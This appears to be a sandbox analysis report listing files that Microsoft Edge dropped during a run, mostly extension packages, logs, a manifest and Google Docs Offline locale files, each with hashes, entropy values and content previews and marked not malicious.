Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.421507428992919
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0gG5jR0gf5M:JIVuwEw5MUFZLBQLti5M
MD5:	86CB3698BF5E9BC89EAF1E2C2EFB330F
SHA1:	E9EBD951A60C6217076ADD2C5E28C4EF00F48E65
SHA-256:	40C360EA8B00F0BF16FC86862059B735CCF2BC1CC386E778568C30063096112C
SHA-512:	F2D73C2ED81EA05DF6A83C45DA0996F0D00CFE9CBDE6B9013CD436289FCE55DBDF2456FB660DC99282BDF6CF816DD0806058BBAC0814A55D53220A790D782396
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e1d0665f-3913-44f4-bb59-1113fd6f9a6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7748_1612770968\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7748_1612770968\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7748_1612770968\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7748_1612770968\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_1612770968\c6ca8f15-03ea-4aeb-a033-66522c9e0584.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
